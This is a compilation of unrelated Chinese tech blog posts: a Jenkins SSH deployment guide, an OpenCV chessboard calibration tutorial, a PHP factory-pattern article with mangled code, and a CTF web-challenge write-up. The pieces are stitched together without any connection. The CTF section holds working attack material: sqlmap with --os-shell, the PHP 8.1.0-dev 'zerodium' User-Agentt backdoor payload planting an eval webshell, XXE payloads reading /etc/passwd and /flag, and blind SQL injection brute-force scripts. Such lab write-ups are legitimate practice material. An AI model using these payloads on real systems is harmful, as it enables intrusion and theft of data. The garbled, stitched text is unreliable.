2024年3月

jenkins安装

首先安装jenkins,我们可以使用docker安装。用下面命令拉取jenkins镜像。

docker pull jenkins/jenkins

然后正常安装jenkins容器即可。

安装完成后,进入jenkins管理界面。会让我们输入初始化密码,和创建默认用户。我们按照提示操作即可。

然后,用默认用户登录,进入界面如下:

image

创建凭证

然后配置我们要管理的linux服务器的凭证——用户名密码。

image

进入后,点击全局,下图中,我已经创建了一个凭据。

image

进入后,点击 create credentials。

image

然后输入账号密码即可。

image

创建ssh插件

jenkins管理linux服务器是通过ssh工具连接的,所以,首先,我们要给linux服务器安装ssh。

linux安装ssh也很简单,就执行几个命令即可。

sudo apt install ssh
sudo apt install ssh
sudo service ssh start

具体可以上网搜索。

在jenkins中安装ssh插件,需要进入插件管理,搜索ssh。

image

找到对应的ssh插件,分辨那个是我们要用的ssh,主要看他的描述,如下图:

image

This plugin executes shell commands remotely using SSH protocol. 这句话说明了,他是执行命令连接用的。

安装完成后,点击系统配置,进去管理ssh。

image

进入页面找到SSH remote hosts,然后点击【新增】,然后输入linux主机名和端口号,然后选择我们刚刚创建的凭证。

image

全局工具配置

配置完SSH,我们进行全局工具配置。

主要是配置jdk,maven。

点击全局工具配置,如下图:

image

新增jdk

点击新增jdk,选择jdk 8,这里因为是从 java.sun.com下载,所以需要一个oracle的账户,我这里已经输入完了,所以下图未显示输入oracle的地方。

image

新增maven

点击新增maven,这里选择maven3.6.2。

image

创建jenkins任务

点击Dashboard仪表盘,回到首页,然后点击新建任务。

然后,创建一个自由风格的任务,如下图:

为了能运行我们的jar包,我们需要把发布好的jar包,上传到linux的/soft/app-kiba-spring-kafka/,然后创建一个startup.sh启动可执行文件。

然后,我们创建一个简单的任务,点击build steps,选择Excute shell script on remote host using ssh(使用ssh在远程主机执行脚本),如下图:

image

然后保存任务。

然后回到主页面执行构建,如下图:

点击执行。尝试运行一下。

我在执行时遇到一个错误,错误提示:ERROR: Failed to install JDK. Exit code=2。

如下图:
image

这是因为我在全局工具配置时,jdk安装勾选了自动安装。

回到全局工具配置,取消jdk自动安装,然后,系统会让我们输入javehome。

image

我们进入到容器,查找javahome。

进入容器
 docker exec -it 1Panel-jenkins-4v09 /bin/bash
输出javahome
 echo $JAVA_HOME

然后填写进上图中。

这个java版本我们不用关心,因为这个java版本是jenkins的所在docker容器的java版本,只要让jenkins通过这个jdk能执行命令即可,实际我们的jar运行容器或者服务器,有自己的java配置,他们互相不影响。

修改完,我们再回到之前的任务界面,运行任务。

结语

这样,我们就完成了使用jenkins连接linux部署jar包。

当然,jenkins还能实现更多功能,比如他可以使用git插件,直接下载源码,然后使用maven插件进行打包,然后再执行我的这个命令,完成发布。

当然,他还可以在上面的步骤中再加一步,构建一个docker容器,再向容器里发布jar包。

jenkin的使用非常复杂,只能靠自己慢慢摸索。


注:此文章为原创,任何形式的转载都请联系作者获得授权并注明出处!



若您觉得这篇文章还不错,请点击下方的【推荐】,非常感谢!

https://www.cnblogs.com/kiba/p/18056881

前言

知道图像畸变矫映射的原理之后,那么如何得到相机的内参是矫正的第一步,内参决定了内参矩阵(中心点、焦距等),用内参矩阵才能计算出投影矩阵,从而将原本畸变的图像矫正为平面投影图像。
本篇描述了相机成形的原理,并绘制出识别的角点。


Demo

请添加图片描述

请添加图片描述

请添加图片描述


相机成形的原理


小孔成像原理

在这里插入图片描述

得到矩阵计算原理:
在这里插入图片描述

得到计算过程:
在这里插入图片描述


相机的畸变

相机的畸变是指相机镜头对物体所成的像相对于物体本身而言的失真程度,它是光学透镜的固有特性。畸变产生的原因主要是透镜的边缘部分和中心部分的放大倍率不一样。
畸变分为以下几类:

  • 径向畸变
  • 切向畸变
  • 薄棱镜畸变
    通常情况下,径向畸变的影响要远远大于其他畸变。畸变是不可消除的,但在实际的应用中,可以通过一些软件来进行畸变的补偿,如OpenCV、MATLAB等。


径向畸变

主要由透镜不同部位放大倍率不同造成,它又分为枕形畸变和桶形畸变两种。枕形畸变,也称为鞍形形变,视野中边缘区域的放大率远大于光轴中心区域的放大率,常用在远摄镜头中。桶形畸变则与枕形畸变相反,视野中光轴中心区域的放大率远大于边缘区域的放大率,常出现在广角镜头和鱼眼镜头中。
在这里插入图片描述


切向畸变

主要由透镜安装与成像平面不平行造成,类似于透视原理,如近大远小、圆变椭圆等。
在这里插入图片描述


薄棱镜畸变

由透镜设计缺陷和加工安装误差造成,又称为线性畸变。其影响较小,一般忽略不计。


棋牌识别步骤


步骤一:标定采集的数据图像

采集一张棋盘图片,要确认他是可以被识别的。
在这里插入图片描述

读取图像,这里由于图片较大,我们重设大小为原来宽高的1/2:

    // 使用图片
std::string srcFilePath = "D:/qtProject/openCVDemo/openCVDemo/modules/openCVManager/images/chessboard.png";
// std::string srcFilePath = "D:/qtProject/openCVDemo/openCVDemo/modules/openCVManager/images/24.jpg";
cv::Mat srcMat = cv::imread(srcFilePath);
int chessboardColCornerCount = 6;
int chessboardRowCornerCount = 9;
// 步骤一:读取文件
// cv::imshow("1", srcMat);
// cv::waitKey(0);
// 步骤二:缩放,太大了缩放下(可省略)
cv::resize(srcMat, srcMat, cv::Size(srcMat.cols / 2, srcMat.rows / 2));
cv::Mat srcMat2 = srcMat.clone();
cv::Mat srcMat3 = srcMat.clone();
// cv::imshow("2", srcMat);
// cv::waitKey(0);


步骤二:图像处理,提取角点,并绘制出来

先灰度化,然后输入预制的纵向横向角数量,使用棋盘角点函数提取角点

    // 步骤三:灰度化
cv::Mat grayMat;
cv::cvtColor(srcMat, grayMat, cv::COLOR_BGR2GRAY);
cv::imshow("3", grayMat);
// cv::waitKey(0);
// 步骤四:检测角点
std::vector<cv::Point2f> vectorPoint2fCorners;
bool patternWasFound = false;
patternWasFound = cv::findChessboardCorners(grayMat,
cv::Size(chessboardColCornerCount, chessboardRowCornerCount),
vectorPoint2fCorners,
cv::CALIB_CB_ADAPTIVE_THRESH | cv::CALIB_CB_FAST_CHECK | cv::CALIB_CB_NORMALIZE_IMAGE);
/*
enum { CALIB_CB_ADAPTIVE_THRESH = 1, // 使用自适应阈值将图像转化成二值图像
CALIB_CB_NORMALIZE_IMAGE = 2, // 归一化图像灰度系数(用直方图均衡化或者自适应阈值)
CALIB_CB_FILTER_QUADS = 4, // 在轮廓提取阶段,使用附加条件排除错误的假设
CALIB_CB_FAST_CHECK = 8 // 快速检测
};
*/
cvui::printf(srcMat, 0, 0, 1.0, 0xFF0000, "found = %s", patternWasFound ? "true" : "false");
cvui::printf(srcMat, 0, 24, 1.0, 0xFF0000, "count = %d", vectorPoint2fCorners.size());
qDebug() << __FILE__ << __LINE__ << vectorPoint2fCorners.size();
// 步骤五:绘制棋盘点
cv::drawChessboardCorners(srcMat2,
cv::Size(chessboardColCornerCount, chessboardRowCornerCount),
vectorPoint2fCorners,
patternWasFound);


步骤三:进行亚像素角点计算,进一步提取图片准确性

// 步骤六:进一步提取亚像素角点
cv::TermCriteria criteria(CV_TERMCRIT_EPS | CV_TERMCRIT_ITER, // 类型
30, // 参数二: 最大次数
0.001); // 参数三:迭代终止阈值
/*
#define CV_TERMCRIT_ITER 1 // 终止条件为: 达到最大迭代次数终止
#define CV_TERMCRIT_NUMBER CV_TERMCRIT_ITER //
#define CV_TERMCRIT_EPS 2 // 终止条件为: 迭代到阈值终止
*/
qDebug() << __FILE__ << __LINE__ << vectorPoint2fCorners.size();
cv::cornerSubPix(grayMat,
vectorPoint2fCorners,
cv::Size(11, 11),
cv::Size(-1, -1),
criteria);


函数原型


findChessboardCorners:识别预制棋盘角点数量的棋盘

OpenCV 中用于检测图像中棋盘角点的函数。

bool cv::findChessboardCorners(InputArray image,
Size patternSize,
OutputArray corners,
int flags=CALIB_CB_ADAPTIVE_THRESH+CALIB_CB_NORMALIZE_IMAGE)

参数解释:

  • image:输入的图像,通常是一个灰度图像,因为角点检测在灰度空间中进行更为准确。
  • patternSize:棋盘的内角点数量,例如一个 8x6 的棋盘会有 48 个内角点,所以 patternSize 会是 Size(8, 6)。
  • corners:检测到的角点输出数组。
  • flags:不同的标志,用于指定角点检测的不同方法。可以是以下的一个或多个标志的组合:
    CALIB_CB_ADAPTIVE_THRESH:使用自适应阈值将图像转换为二值图像,而不是使用固定的全局阈值。
    CALIB_CB_NORMALIZE_IMAGE:在寻找角点之前,先对图像进行归一化,以提高鲁棒性。
    CALIB_CB_FAST_CHECK:仅检查角点候选者中的少量点,用于快速检测,但可能不如标准方法准确。

函数返回值是一个布尔值,如果找到足够的角点以形成一个棋盘模式,则返回 true;否则返回 false。
findChessboardCorners 函数通常用于相机标定,通过检测棋盘角点来确定图像与真实世界之间的对应关系。一旦角点被检测到,就可以使用这些点来估计相机的内参(如焦距、主点)和外参(如旋转和平移矩阵)。


drawChessboardCorners:绘制棋盘角点

OpenCV中的一个函数,用于在检测到的棋盘角点周围绘制方框。这对于相机标定、图像对齐等应用非常有用。

void cv::drawChessboardCorners(InputOutputArray image,
Size patternSize,
InputArray corners,
bool patternWasFound)

参数解释:

  • image:输入的图像,通常是一个彩色图像,函数会在这个图像上绘制角点。
  • patternSize:棋盘的内角点数量,例如一个 8x6 的棋盘会有 48 个内角点,所以 patternSize 会是 Size(8, 6)。
  • corners:检测到的角点,通常是通过 findChessboardCorners 函数得到的。
  • patternWasFound:一个布尔值,表示是否找到了足够的角点来形成一个棋盘模式。如果为 true,则函数会在角点周围绘制彩色的方框;如果为 false,则只会绘制白色的方框。
    这个函数通常与 findChessboardCorners 结合使用,以检测图像中的棋盘角点,并在检测到的角点周围绘制方框。这对于视觉校准和相机标定等任务非常有用。


TermCriteria:迭代终止模板类

TermCriteria是OpenCV中用于指定迭代算法终止条件的模板类。它取代了之前的CvTermCriteria,并且在许多OpenCV算法中作为迭代求解的结构被使用。

struct TermCriteria {  
enum { COUNT=1, MAX_ITER=COUNT, EPS=2 };
TermCriteria();
TermCriteria(int type, int maxCount, double epsilon);
TermCriteria(const CvTermCriteria& criteria);
};

构造时需要三个参数:

  • 类型(type):它决定了迭代终止的条件。类型可以是CV_TERMCRIT_ITER、CV_TERMCRIT_EPS或CV_TERMCRIT_ITER+CV_TERMCRIT_EPS。在C++中,这些宏对应的版本分别为TermCriteria::COUNT、TermCriteria::EPS。
    CV_TERMCRIT_ITER或TermCriteria::COUNT:表示迭代终止条件为达到最大迭代次数;
    CV_TERMCRIT_EPS或TermCriteria::EPS:表示迭代到特定的阈值就终止;
    CV_TERMCRIT_ITER+CV_TERMCRIT_EPS:则表示两者都作为迭代终止条件。
  • 迭代的最大次数(maxCount):这是算法可以执行的最大迭代次数。
  • 特定的阈值(epsilon):当满足这个精确度时,迭代算法会停止。


cornerSubPix:亚像素角点提取

OpenCV中用于精确化角点位置,其函数原型如下:

void cv::cornerSubPix(InputArray image,
InputOutputArray corners,
Size winSize,
Size zeroZone,
TermCriteria criteria);

参数解释:

  • image:输入图像的像素矩阵,最好是8位灰度图像,这样检测效率会更高。
  • corners:初始的角点坐标向量,同时作为亚像素坐标位置的输出,因此需要是浮点型数据。
  • winSize:搜索窗口的大小,它表示的是搜索窗口的一半尺寸。
  • zeroZone:死区的一半尺寸,死区是搜索窗口内不对中央位置做求和运算的区域。这是为了避免自相关矩阵出现某些可能的奇异性。
  • criteria:角点搜索的停止条件,通常包括迭代次数、角点位置变化量或角点误差变化量等。

cornerSubPix函数用于在初步提取的角点信息上进一步提取亚像素信息,从而提高相机标定的精度。在相机标定、目标跟踪和三维重建等应用中,精确的角点位置是非常重要的,因此cornerSubPix函数在这些领域有广泛的应用。


Demo源码

void OpenCVManager::testFindChessboardCorners()
{
#define FindChessboardCornersUseCamera 1
#if !FindChessboardCornersUseCamera
// 使用图片
std::string srcFilePath = "D:/qtProject/openCVDemo/openCVDemo/modules/openCVManager/images/chessboard.png";
// std::string srcFilePath = "D:/qtProject/openCVDemo/openCVDemo/modules/openCVManager/images/24.jpg";
cv::Mat srcMat = cv::imread(srcFilePath);
#else
// 使用摄像头
cv::VideoCapture capture;
// 插入USB摄像头默认为0
if(!capture.open(0))
{
qDebug() << __FILE__ << __LINE__ << "Failed to open camera: 0";
}else{
qDebug() << __FILE__ << __LINE__ << "Succeed to open camera: 0";
}
while(true)
{
cv::Mat srcMat;
capture >> srcMat;
#endif
int chessboardColCornerCount = 6;
int chessboardRowCornerCount = 9;
// 步骤一:读取文件
// cv::imshow("1", srcMat);
// cv::waitKey(0);
// 步骤二:缩放,太大了缩放下(可省略)
cv::resize(srcMat, srcMat, cv::Size(srcMat.cols / 2, srcMat.rows / 2));
cv::Mat srcMat2 = srcMat.clone();
cv::Mat srcMat3 = srcMat.clone();
// cv::imshow("2", srcMat);
// cv::waitKey(0);
// 步骤三:灰度化
cv::Mat grayMat;
cv::cvtColor(srcMat, grayMat, cv::COLOR_BGR2GRAY);
cv::imshow("3", grayMat);
// cv::waitKey(0);
// 步骤四:检测角点
std::vector<cv::Point2f> vectorPoint2fCorners;
bool patternWasFound = false;
patternWasFound = cv::findChessboardCorners(grayMat,
cv::Size(chessboardColCornerCount, chessboardRowCornerCount),
vectorPoint2fCorners,
cv::CALIB_CB_ADAPTIVE_THRESH | cv::CALIB_CB_FAST_CHECK | cv::CALIB_CB_NORMALIZE_IMAGE);
/*
enum { CALIB_CB_ADAPTIVE_THRESH = 1, // 使用自适应阈值将图像转化成二值图像
CALIB_CB_NORMALIZE_IMAGE = 2, // 归一化图像灰度系数(用直方图均衡化或者自适应阈值)
CALIB_CB_FILTER_QUADS = 4, // 在轮廓提取阶段,使用附加条件排除错误的假设
CALIB_CB_FAST_CHECK = 8 // 快速检测
};
*/
cvui::printf(srcMat, 0, 0, 1.0, 0xFF0000, "found = %s", patternWasFound ? "true" : "false");
cvui::printf(srcMat, 0, 24, 1.0, 0xFF0000, "count = %d", vectorPoint2fCorners.size());
qDebug() << __FILE__ << __LINE__ << vectorPoint2fCorners.size();
// 步骤五:绘制棋盘点
cv::drawChessboardCorners(srcMat2,
cv::Size(chessboardColCornerCount, chessboardRowCornerCount),
vectorPoint2fCorners,
patternWasFound);
#if FindChessboardCornersUseCamera
cv::imshow("0", srcMat);
cv::imshow("4", srcMat2);
if(!patternWasFound)
{
cv::imshow("5", srcMat3);
cv::waitKey(1);
continue;
}
#endif
// 步骤六:进一步提取亚像素角点
cv::TermCriteria criteria(CV_TERMCRIT_EPS | CV_TERMCRIT_ITER, // 类型
30, // 参数二: 最大次数
0.001); // 参数三:迭代终止阈值
/*
#define CV_TERMCRIT_ITER 1 // 终止条件为: 达到最大迭代次数终止
#define CV_TERMCRIT_NUMBER CV_TERMCRIT_ITER //
#define CV_TERMCRIT_EPS 2 // 终止条件为: 迭代到阈值终止
*/
qDebug() << __FILE__ << __LINE__ << vectorPoint2fCorners.size();
cv::cornerSubPix(grayMat,
vectorPoint2fCorners,
cv::Size(11, 11),
cv::Size(-1, -1),
criteria);
// 步骤七:绘制棋盘点
cv::drawChessboardCorners(srcMat3,
cv::Size(chessboardColCornerCount, chessboardRowCornerCount),
vectorPoint2fCorners,
patternWasFound);
cv::imshow("5", srcMat3);
// cv::waitKey(0);

#if FindChessboardCornersUseCamera
cv::waitKey(1);
}
// cv::imshow(_windowTitle.toStdString(), dstMat);
#else

cv::waitKey(0);
#endif

}


对应工程模板v1.67.0

在这里插入图片描述


入坑


入坑一:无法检测出角点


问题

检测角点失败
在这里插入图片描述


原因

输入棋牌横向竖向角点的数量入函数,而不是输入行数和列数。


解决

输入正确的横向纵向角点数量即可。
在这里插入图片描述


入坑二:检测亚像素角点崩溃


问题

检测亚像素角点函数崩溃
在这里插入图片描述


原因

输入要是灰度mat


解决

将灰度图输入即可。

1、定义

工厂方法
模式
是一种创建型的设计模式,
其在父类中提供一个创建对象的方法,
允许子类决定实例化对象的类型
。其实就把产品对象的实际创建工作放到具体的子类工厂当中实现。

2、优缺点

  • 优点:
    • 可以避免创建者和具体产品之间的紧密耦合





    • 则。

      可以将产品创建代码放在程序的单一位置,
      从而使得代码更容易维护



    • 则。

      无需更改现有客户端代码

      就可以在程序中引入新的产品类型
  • 缺点:
    • 每增加一个产品就要增加一个具体产品类和一个对应的具体工厂类,增加了系统的复杂度。

3、模式结构

  • 抽象工厂(Abstract Factory):提供一个创建产品的接口。调用者可以通过它访问具体工厂的工厂方法。
  • 具体工厂(Concrete Factory):继承自抽象工厂,并实现其创建对象的方法。
  • 抽象产品(Product):定义了产品的规范,描述了产品的主要特性和功能。
  • 具体产品(Concrete Product):实现了抽象产品中所定义的接口,由具体工厂来创建,与同具体工厂之间是一一对应的。

4、具体代码

1、抽象工厂(Abstract Factory):提供一个创建产品的接口。调用者可以通过它访问具体工厂的工厂方法。

<?php/**
* Created by PhpStorm
* Author: fengzi
* Date: 2024/2/22
* Time: 17:55
*/namespace app\admin\service\design_mode\factory_method;/**
* 抽象工厂类
*/ abstract classCarFactory
{
abstract public function createCar():Car;
}

2、具体工厂(Concrete Factory):继承自抽象工厂,并实现其创建对象的方法。

<?php/**
* Created by PhpStorm
* Author: fengzi
* Date: 2024/2/22
* Time: 17:55
*/namespace app\admin\service\design_mode\factory_method;/**
* 宝马工厂
*
* 具体工厂类,继承自抽象工厂
*/ class BmwFactory extendsCarFactory
{
public function createCar():Car
{
//TODO: Implement createCar() method. return newBmw();
}
}
<?php/**
* Created by PhpStorm
* Author: fengzi
* Date: 2024/2/22
* Time: 17:55
*/namespace app\admin\service\design_mode\factory_method;/**
* 奔驰工厂
*
* 具体工厂类,继承自抽象工厂
*/ class BenzFactory extendsCarFactory
{
public function createCar():Car
{
//TODO: Implement createCar() method. return newBenz();
}
}

3、抽象产品(Product):定义了产品的规范,描述了产品的主要特性和功能。

<?php/**
* Created by PhpStorm
* Author: fengzi
* Date: 2024/2/23
* Time: 11:21
*/namespace app\admin\service\design_mode\factory_method;/**
* 抽象产品类
*/ abstract classCar
{
/**
* 给汽车加油
* 抽象方法,用于实现产品的功能
* @return mixed
* @Author: fengzi
* @Date: 2024/2/23 11:26
*/ public abstract functionrefuel();/**
* 驾驶汽车
* 抽象方法,用于实现产品的功能
* @return mixed
* @Author: fengzi
* @Date: 2024/2/23 11:26
*/ public abstract functiondrive();
}

4、具体产品(Concrete Product):实现了抽象产品中所定义的接口,由具体工厂来创建,与同具体工厂之间是一一对应的。

<?php/**
* Created by PhpStorm
* Author: fengzi
* Date: 2024/2/23
* Time: 11:22
*/namespace app\admin\service\design_mode\factory_method;/**
* 具体产品类-宝马汽车
*/ class Bmw extendsCar
{
public functionrefuel()
{
//TODO: Implement refuel() method. echo "给宝马车加油\n";
}
public functiondrive()
{
//TODO: Implement drive() method. echo "驾驶宝马车\n";
}
}
<?php/**
* Created by PhpStorm
* Author: fengzi
* Date: 2024/2/23
* Time: 11:22
*/namespace app\admin\service\design_mode\factory_method;/**
* 具体产品类-奔驰汽车
*/ class Benz extendsCar
{
public functionrefuel()
{
//TODO: Implement refuel() method. echo "给奔驰车加油\n";
}
public functiondrive()
{
//TODO: Implement drive() method. echo "驾驶奔驰车\n";
}
}

5、调用方式

<?php/**
* 工厂方法模式
* Author: fengzi
* Date: 2024/2/22
* Time: 17:16
*/namespace app\admin\controller\design_mode;useapp\admin\service\design_mode\factory_method\BenzFactory;useapp\admin\service\design_mode\factory_method\BmwFactory;classFactoryMethodController
{
/**
* 调用工厂方法模式
* @return void
* @Author: fengzi
* @Date: 2024/2/26 9:56
*/ public functionindex()
{
//调用奔驰方法 $factory = newBenzFactory();$car = $factory->createCar();$car->refuel();$car->drive();//调用宝马方法 $factory = newBmwFactory();$car = $factory->createCar();$car->refuel();$car->drive();
}
}

6、调用结果展示:

5、工厂方法模式的精简版 - 简单工厂模式

简单工厂模式中的每个产品不用像工厂方法模式一样每个产品都对应一个工厂类,只需要通过一个工厂方法来判断性的创建对应产品。具体请看以下代码。

1、抽象产品(Product):定义了产品的规范,描述了产品的主要特性和功能。

<?php/**
* Created by PhpStorm
* Author: fengzi
* Date: 2024/2/23
* Time: 11:21
*/namespace app\admin\service\design_mode\factory_method;/**
* 抽象产品类
*/ abstract classCar
{
/**
* 给汽车加油
* 抽象方法,用于实现产品的功能
* @return mixed
* @Author: fengzi
* @Date: 2024/2/23 11:26
*/ public abstract functionrefuel();/**
* 驾驶汽车
* 抽象方法,用于实现产品的功能
* @return mixed
* @Author: fengzi
* @Date: 2024/2/23 11:26
*/ public abstract functiondrive();
}

2、具体产品(Concrete Product):实现了抽象产品中所定义的接口,由一个工厂方法来创建产品对象。

<?php/**
* Created by PhpStorm
* Author: fengzi
* Date: 2024/2/23
* Time: 11:22
*/namespace app\admin\service\design_mode\factory_method;/**
* 具体产品类-奔驰汽车
*/ class Benz extendsCar
{
public functionrefuel()
{
//TODO: Implement refuel() method. echo "给奔驰车加油\n";
}
public functiondrive()
{
//TODO: Implement drive() method. echo "驾驶奔驰车\n";
}
}
<?php/**
* Created by PhpStorm
* Author: fengzi
* Date: 2024/2/23
* Time: 11:22
*/namespace app\admin\service\design_mode\factory_method;/**
* 具体产品类-宝马汽车
*/ class Bmw extendsCar
{
public functionrefuel()
{
//TODO: Implement refuel() method. echo "给宝马车加油\n";
}
public functiondrive()
{
//TODO: Implement drive() method. echo "驾驶宝马车\n";
}
}

3、简单工厂的工厂类

<?php/**
* Created by PhpStorm
* Author: fengzi
* Date: 2024/2/26
* Time: 10:17
*/namespace app\admin\service\design_mode\factory_method;/**
* 简单工厂类
*/ classSimpleFactory
{
/**
* 简单工厂模式
* @param string $type 产品类型:benz奔驰,bmw宝马
* @return string|void
* @Author: fengzi
* @Date: 2024/2/26 10:15
*/ public function getProduct(string $type):Car
{
switch ($type)
{
case 'benz': return newBenz();break;case 'bmw': return newBmw();break;default: return '';
}
}
}

4、调用方式

<?php/**
* 简单工厂模式
* Author: fengzi
* Date: 2024/2/22
* Time: 17:16
*/namespace app\admin\controller\design_mode;useapp\admin\service\design_mode\factory_method\SimpleFactory;classFactoryMethodController
{
/**
* 简单工厂模式
* @Author: fengzi
* @Date: 2024/2/26 10:15
*/ public functionsimpleFactory()
{
$simpleFactory = newSimpleFactory();//调用奔驰方法 $benz = $simpleFactory->getProduct('benz');$benz->refuel();$benz->drive();//调用宝马方法 $bmw = $simpleFactory->getProduct('bmw');$bmw->refuel();$bmw->drive();
}
}

5、调用结果展示

6、总结

  • 通常我们把被创建的对象称之为【产品】
  • 创建【产品】的对象称为【工厂】
  • 当产品比较固定且数量少的情况下,我们只需要一个工厂类就可以,这个模式下我们称之为【简单工厂】

文章管理系统

首先打开环境(>ω<。人)ZZz♪♪

既然要做题,就要做全面了,图上说了,既然有假flag我就先找出来:

假flag:

打开vmware,使用sqlmap进行处理:

sqlmap -u http://challenge.qsnctf.com:31645/?id=1 --dbs

记得中间的url换成自己的

看到了六个可能:

{*] ctftraining
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] word

那就挨个读取,利用指令

sqlmap -u http://challenge.qsnctf.com:31645/?id=1 -D ctftraining -T test --dump

”ctftraining“改为上述文件夹进行尝试最终得到

好的,得到了假flag了♪(⌒∇⌒)ノ""

真flag:

同样打开kali,对sqlmap进行修改代码

sqlmap -u "http://challenge.qsnctf.com:32030/?id=1" --os-shell

进行执行:

进行寻找:

查找一下flag:

find / -name "flag"

看到了,调取:

cat /flag

OK,拿到了  (*˘︶˘*).。.:*♡

qsnctf{5a73aa45b44b409a815a4051428a3e11}

Robots

打开题目环境:

既然提示了Robots.txt那就访问一下呗:

http://challenge.qsnctf.com:32422/robots.txt

看到了有个什么什么的.php

http://challenge.qsnctf.com:32422/f1ag_1n_the_h3re.php

得到flag:

qsnctf{ed8c1a488b4e4304b89c01531d41b99c}

黑客终端

打开环境

ok尝试一下指令,看看是不是SQL一类的

ls

方法一:

有东西,直接抓一下试试

cat /flag

啊这?这么简陋好吧

方法二:

再看看源码:F12按一下,再ctrl f搜索一下

再次得到,好的,看着很酷炫的花架子结束=.=

qsnctf{e681d8444f8542aa8e0842d6f77e4c80}

此地无银三百两

看到环境写了“此地无银三百两”这类的话术,那就找找看:

CTRL u或者F12都可以,打开后CTRL f搜索:

直接发现flag,这里在思考是不是出题漏洞,因为和上一题太像了,一般不会这么出题,当时尝试一下别的方式,结果发现,最快最优就是这个解题方式,当然不嫌麻烦的师傅可以用bp抓包进行操作,效果差不多。

qsnctf{0fc8582b97874db0bfb98d4449884494}

EasyMD5

作者随笔:我使用的是青少年ctf平台(废话,标题都是),这道题加载速度不知道为什么很慢,再加载过程中我看到了google的访问需求可能是这个原因导致,所以不是环境问题,只是慢,做的时候打开耐心等待一会儿就好了
0.o

打开以后看到了DT 的快乐吟唱

题目是md5,所以和这个跑不了关系,那就直接文件里边加入内容
MD5
值是php 弱等于的判断就行,从哪个口上传无所谓的:

大:s878926199a
小:s155964671a

完成后发现要PDF格式(嘤嘤嘤,DT大神竟然生气让我滚)T.T

方法一:(会在出flag后网站报错,操作简单但是出flag要手速截图)

那就改一下格式重新上传

出了,但是靶机会在出flag后闪进报错,试了很多遍都是这样,最后确认不是自己的问题以后去找了下出题人找到原因:”做了重定向,入口有问题“。拷打完出题人找了一下解决方案,用bp抓包做题。

方法二:(操作难一点,需要bp基础,解决了闪报错网址问题)

上述步骤不变,上传文件时bp抓包

获取以后直接发包就可以了,flag在最下边,你也可以不改原文件的格式在bp里改成pdf

得到flag 嘻嘻

qsnctf{dd180d8feb104557b7ecfd87385d33fa}

PHP的后门

打开环境后看到了个提示注意php版本

这样的话就要看一眼了,使用bp进行抓包,看到了版本号是8.1.0-dev

打开百度搜索什么后门能用,得到答案是:
User-Agentt: zerodiumfile_put_contents('indes.php','<?php eval($_POST["xx11"]);?>');类似这段代码可以复写字母后写入想植入的代码

直接在bp中操作放入:

User-Agentt: zerodiumsystem("cat /flag");

得到flag:

qsnctf{3812e3ff73934f4a8c3c6ce1966fa37b}

需要注意的是括号内可以修改指令,你也可以使用“一句话木马”“ls”等等一系列代码加入蚁剑进行操作,这里就不展示了。=.=

PHP的XXE

开启环境以后发现直接是phpinfo上界面,结合题干告诉我要用xml的内容,先所搜xml好了:ctrl f xml

看到了版本是2.8,这个版本下有一篇博客有详细解释,这里放在这里:
=.=

那么就开始操作,先抓包:

然后拿着下边代码是科普博客的注解,放了注释给大家,最好还是看一下这个漏洞是什么,跳转链接在上边“=.=”这个里边

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>


/* 
1.读取任意文件
file 协议,file:///etc//passwd
php 协议,php://filter/read=convert.base64-encode/resource=index.php
2.执行系统命令
PHP环境中PHP的expect模块被加载
expect://ipconfig
3.内网探测
http://192.168.0.128:80
参见:https://xz.aliyun.com/t/3357#toc-11
*/

首先修改http后的代码,触发bug:

GET /simplexml_load_string.php HTTP/1.1

然后带入下边的一把梭的本题代码:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>

得到flag:

qsnctf{c786d4cb0d5647a3a3ddd7103e3ab964}

bp操作的两步记得分开进行,先触发bug,再一把梭,不然可能无回响哦。。。。

Easy_SQLi

打开环境看了一下,只有类似弱口令这样子的login端口,但是题目却叫做sqli,一时间我没找到类似于:“id=1”一类的keyword,所以呢还是先尝试弱口令:

ok,打开bp

选择类似图中绿色块中用“§”修改,分别爆破,我这里没有使用混合爆破,主要是因为自己的老年电脑实在算不动混合爆破的数字量,这里我算出来的答案是“admin”和“123456”。

因为我这里是边做边写wp,所以并不清楚这道题的密码会不会因为每次开靶机的不同发生变化,也就是有没有加入弱口令的动态密码,所以,请师傅不要直接复制粘贴密码,按着操作来一遍,效果一致^_^。

这里可以使用自己的密码本,如果有新师傅没有密码本可以私信给我,我给师傅们发我的密码本

登陆成功!

接下来复制url放进脚本,这里送两个类型题脚本,可以根据自己电脑情况选择:】

格式:登陆界面url+
/login.php

脚本1:(吃配置,快)

import requests
import time
url = ""#网站放这里
flag = ""
for num in range(1,100):
    for i in range(33,127) :
        data = {'uname':"' or 1=1 and  ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'}
        res = requests.post(url = url, data = data)
        time.sleep(0.05)
        if res.text == "Login successful" :
            flag += chr(i)
            break
print(flag)        

脚本2:(不吃配置,慢慢破)‘

import requests
 
url = ''#这里放url
res = ""
 
for i in range(1, 48, 1):
    for j in range(32, 128, 1):
        # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#'
        # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#"
        payload = f"if(ascii(substr((select group_concat(password) from users),{i},1))>{j},sleep(0.5),0)#"
        data = {
            'uname': "admin' and "+payload,
            'psw':123456
        }
        try:
            r = requests.post(url=url, data=data,timeout=0.2)
        except Exception as e:
            continue
 
        res += chr(j)
        print(res)
        break

得到flag:

qsnctf{145435737e6c460abcab2d93e2d46c7d}

雏形系统

打开环境后映入眼帘的是登陆系统,那就像之前一样考虑sql 以及弱口令:

结果折腾半天啥也没有,这是一个可修改的界面,那没办法了试一试dirsearch扫描:

kali启动!

dirsearch -u http://challenge.qsnctf.com:32147/ -e all//中间替换成自己的url

扫面到了www.zip

那可以直接打开了:

解压以后出现两个文件,看过以后robots.txt里边没东西直接打开“qsnctf.php”就可以了

qsnctf.php

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Page</title>
    <style>
        body {
